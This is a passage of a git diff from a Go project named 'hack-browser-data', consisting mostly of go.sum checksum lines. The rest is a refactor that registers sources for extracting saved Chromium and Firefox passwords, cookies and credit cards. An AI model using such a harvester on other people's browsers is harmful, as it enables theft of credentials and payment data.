+google.golang.org/api v0.20.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
+google.golang.org/api v0.22.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
+google.golang.org/api v0.24.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE=
+google.golang.org/api v0.28.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE=
+google.golang.org/api v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM=
+google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc=
+google.golang.org/api v0.35.0/go.mod h1:/XrVsuzM0rZmrsbjJutiuftIzeuTQcEeaYcSk/mQ1dg=
+google.golang.org/api v0.36.0/go.mod h1:+z5ficQTmoYpPn8LCUNVpK5I7hwkpjbcgqA7I34qYtE=
+google.golang.org/api v0.37.0/go.mod h1:fYKFpnQN0DsDSKRVRcQSDQNtqWPfM9i+zNPxepjRCQ8=
+google.golang.org/api v0.40.0/go.mod h1:fYKFpnQN0DsDSKRVRcQSDQNtqWPfM9i+zNPxepjRCQ8=
+google.golang.org/api v0.41.0/go.mod h1:RkxM5lITDfTzmyKFPt+wGrCJbVfniCr2ool8kTBzRTU=
+google.golang.org/api v0.43.0/go.mod h1:nQsDGjRXMo4lvh5hP0TKqF244gqhGcr/YSIykhUk/94=
+google.golang.org/api v0.45.0/go.mod h1:ISLIJCedJolbZvDfAk+Ctuq5hf+aJ33WgtUsfyFoLXA=
+google.golang.org/api v0.46.0/go.mod h1:ceL4oozhkAiTID8XMmJBsIxID/9wMXJVVFXPg4ylg3I=
+google.golang.org/api v0.47.0/go.mod h1:Wbvgpq1HddcWVtzsVLyfLp8lDg6AA241LmgIL59tHXo=
+google.golang.org/api v0.48.0/go.mod h1:71Pr1vy+TAZRPkPs/xlCf5SsU8WjuAWv1Pfjbtukyy4=
+google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
+google.golang.org/appengine v1.2.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
+google.golang.org/appengine v1.3.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
+google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
+google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
+google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=
+google.golang.org/appengine v1.6.2/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=
+google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
+google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
+google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
+google.golang.org/genproto v0.0.0-20170818010345-ee236bd376b0/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
+google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
+google.golang.org/genproto v0.0.0-20181107211654-5fc9ac540362/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
+google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
+google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
+google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
+google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
+google.golang.org/genproto v0.0.0-20190508193815-b515fa19cec8/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
+google.golang.org/genproto v0.0.0-20190530194941-fb225487d101/go.mod h1:z3L6/3dTEVtUr6QSP8miRzeRqwQOioJ9I66odjN4I7s=
+google.golang.org/genproto v0.0.0-20190620144150-6af8c5fc6601/go.mod h1:z3L6/3dTEVtUr6QSP8miRzeRqwQOioJ9I66odjN4I7s=
+google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
+google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
+google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8=
+google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
+google.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
+google.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
+google.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
+google.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
+google.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
+google.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA=
+google.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200513103714-09dca8ec2884/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
+google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U=
+google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=
+google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA=
+google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20200904004341-0bd0a958aa1d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20201109203340-2640f1f9cdfb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20201201144952-b05cb90ed32e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20210108203827-ffc7fda8c3d7/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20210126160654-44e461bb6506/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20210222152913-aa3ee6e6a81c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20210303154014-9728d6b83eeb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20210310155132-4ce2db91004e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
+google.golang.org/genproto v0.0.0-20210331142528-b7513248f0ba/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A=
+google.golang.org/genproto v0.0.0-20210402141018-6c239bbf2bb1/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A=
+google.golang.org/genproto v0.0.0-20210413151531-c14fb6ef47c3/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A=
+google.golang.org/genproto v0.0.0-20210427215850-f767ed18ee4d/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A=
+google.golang.org/genproto v0.0.0-20210429181445-86c259c2b4ab/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A=
+google.golang.org/genproto v0.0.0-20210513213006-bf773b8c8384/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A=
+google.golang.org/genproto v0.0.0-20210602131652-f16073e35f0c/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0=
+google.golang.org/genproto v0.0.0-20210604141403-392c879c8b08/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0=
+google.golang.org/genproto v0.0.0-20220118154757-00ab72f36ad5/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=
+google.golang.org/grpc v1.8.0/go.mod h1:yo6s7OP7yaDglbqo1J04qKzAhqBH6lvTonzMVmEdcZw=
+google.golang.org/grpc v1.17.0/go.mod h1:6QZJwpn2B+Zp71q/5VxRsJ6NXXVCE5NRUHRo+f3cWCs=
+google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
+google.golang.org/grpc v1.20.0/go.mod h1:chYK+tFQF0nDUGJgXMSgLCQk3phJEuONr2DCgLDdAQM=
+google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=
+google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
+google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
+google.golang.org/grpc v1.22.1/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
+google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
+google.golang.org/grpc v1.23.1/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
+google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
+google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
+google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
+google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
+google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60=
+google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
+google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
+google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
+google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
+google.golang.org/grpc v1.32.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
+google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0=
+google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc=
+google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8=
+google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
+google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
+google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=
+google.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM=
+google.golang.org/grpc v1.37.1/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM=
+google.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM=
+google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34=
+google.golang.org/grpc v1.43.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU=
+google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw=
+google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
+google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
+google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
+google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
+google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
+google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
+google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
+google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
+google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=
+google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
+google.golang.org/protobuf v1.25.1-0.20200805231151-a709e31e5d12/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
+google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
+google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
+google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
+gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
+gopkg.in/cheggaaa/pb.v1 v1.0.25/go.mod h1:V/YB90LKu/1FcN3WVnfiiE5oMCibMjukxqG/qStrOgw=
+gopkg.in/cheggaaa/pb.v1 v1.0.28/go.mod h1:V/YB90LKu/1FcN3WVnfiiE5oMCibMjukxqG/qStrOgw=
+gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
+gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
+gopkg.in/gcfg.v1 v1.2.3/go.mod h1:yesOnuUOFQAhST5vPY4nbZsb/huCgGGXlipJsBn0b3o=
+gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s=
+gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
+gopkg.in/natefinch/lumberjack.v2 v2.0.0/go.mod h1:l0ndWWf7gzL7RNwBG7wST/UCcT4T24xpD6X8LsfU/+k=
+gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=
+gopkg.in/square/go-jose.v2 v2.5.1/go.mod h1:M9dMgbHiYLoDGQrXy7OpJDJWiKiU//h+vD76mk0e1AI=
+gopkg.in/square/go-jose.v2 v2.6.0/go.mod h1:M9dMgbHiYLoDGQrXy7OpJDJWiKiU//h+vD76mk0e1AI=
+gopkg.in/src-d/go-billy.v4 v4.3.2/go.mod h1:nDjArDMp+XMs1aFAESLRjfGSgfvoYN0hDfzEk0GjC98=
+gopkg.in/src-d/go-git-fixtures.v3 v3.5.0/go.mod h1:dLBcvytrw/TYZsNTWCnkNF2DSIlzWYqTe3rJR56Ac7g=
+gopkg.in/src-d/go-git.v4 v4.13.1/go.mod h1:nx5NYcxdKxq5fpltdHnPa2Exj4Sx0EclMWZQbYDu2z8=
+gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
+gopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI=
+gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74=
+gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.2.7/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
+gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
+gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+honnef.co/go/tools v0.0.0-20180728063816-88497007e858/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
+honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
+honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
+howett.net/plist v0.0.0-20181124034731-591f970eefbb/go.mod h1:vMygbs4qMhSZSc4lCUl2OEE+rDiIIJAIdR4m7MiMcm0=
+pack.ag/amqp v0.11.2/go.mod h1:4/cbmt4EJXSKlG6LCfWHoqmN0uFdy5i/+YFz+fTfhV4=
+rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
+rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0=
+rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA=
+sigs.k8s.io/yaml v1.1.0/go.mod h1:UJmg0vDUVViEyp3mgSv9WPwZCDxu4rQW1olrI1uml+o=
+sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc=
+software.sslmate.com/src/go-pkcs12 v0.0.0-20201103104416-57fc603b7f52/go.mod h1:/xvNRWUqm0+/ZMiF4EX00vrSCMsE4/NHb+Pt3freEeQ=
+sourcegraph.com/sourcegraph/appdash v0.0.0-20190731080439-ebfcffb1b5c0/go.mod h1:hI742Nqp5OhwiqlzhgfbWU4mW4yO10fP+LoT9WOswdU=
diff --git a/internal/data/bookmark.go b/internal/browingdata/bookmark.go
similarity index 85%
rename from internal/data/bookmark.go
rename to internal/browingdata/bookmark.go
index dae1913..85ac150 100644
--- a/internal/data/bookmark.go
+++ b/internal/browingdata/bookmark.go
@@ -1,25 +1,30 @@
-package data
+package browingdata
import (
"database/sql"
"fmt"
"sort"
+ "time"
"github.com/tidwall/gjson"
- "hack-browser-data/internal/browser/item"
-
- item2 "hack-browser-data/internal/item"
+ "hack-browser-data/internal/item"
"hack-browser-data/internal/utils"
+ "hack-browser-data/internal/utils/fileutil"
)
-type ChromiumBookmark struct {
- bookmarks []bookmark
- item item2.Item
+type ChromiumBookmark []bookmark
+
+type bookmark struct {
+ ID int64
+ Name string
+ Type string
+ URL string
+ DateAdded time.Time
}
func (c *ChromiumBookmark) Parse(masterKey []byte) error {
- bookmarks, err := utils.ReadFile(item.ChromiumBookmarkFilename)
+ bookmarks, err := fileutil.ReadFile("bookmark")
if err != nil {
return err
}
@@ -32,8 +37,8 @@ func (c *ChromiumBookmark) Parse(masterKey []byte) error {
})
}
// TODO: 使用泛型重构
- sort.Slice(c.bookmarks, func(i, j int) bool {
- return (c.bookmarks)[i].DateAdded.After((c.bookmarks)[j].DateAdded)
+ sort.Slice(*c, func(i, j int) bool {
+ return (*c)[i].DateAdded.After((*c)[j].DateAdded)
})
return nil
}
diff --git a/internal/data/browsingdata.go b/internal/browingdata/browsingdata.go
similarity index 65%
rename from internal/data/browsingdata.go
rename to internal/browingdata/browsingdata.go
index f01dadd..d81985d 100644
--- a/internal/data/browsingdata.go
+++ b/internal/browingdata/browsingdata.go
@@ -1,15 +1,58 @@
-package data
+package browingdata
import (
"time"
+
+ "hack-browser-data/internal/item"
)
-type BrowsingData interface {
+type BrowsingData struct {
+ sources map[item.Item]Source
+}
+
+type Source interface {
Parse(masterKey []byte) error
Name() string
}
+func New(sources []item.Item) *BrowsingData {
+ bd := &BrowsingData{
+ sources: make(map[item.Item]Source),
+ }
+ bd.addSource(sources)
+ return bd
+}
+
+func (b *BrowsingData) addSource(sources []item.Item) {
+ for _, source := range sources {
+ switch source {
+ case item.ChromiumPassword:
+ b.sources[source] = &ChromiumPassword{}
+ case item.ChromiumCookie:
+ b.sources[source] = &ChromiumCookie{}
+ case item.ChromiumBookmark:
+ b.sources[source] = &ChromiumBookmark{}
+ case item.ChromiumHistory:
+ b.sources[source] = &ChromiumHistory{}
+ case item.ChromiumDownload:
+ b.sources[source] = &ChromiumDownload{}
+ case item.ChromiumCreditCard:
+ b.sources[source] = &ChromiumCreditCard{}
+ case item.FirefoxPassword:
+ b.sources[source] = &FirefoxPassword{}
+ case item.FirefoxCookie:
+ b.sources[source] = &FirefoxCookie{}
+ case item.FirefoxBookmark:
+ b.sources[source] = &FirefoxBookmark{}
+ case item.FirefoxHistory:
+ b.sources[source] = &FirefoxHistory{}
+ case item.FirefoxDownload:
+ b.sources[source] = &FirefoxDownload{}
+ }
+ }
+}
+
const (
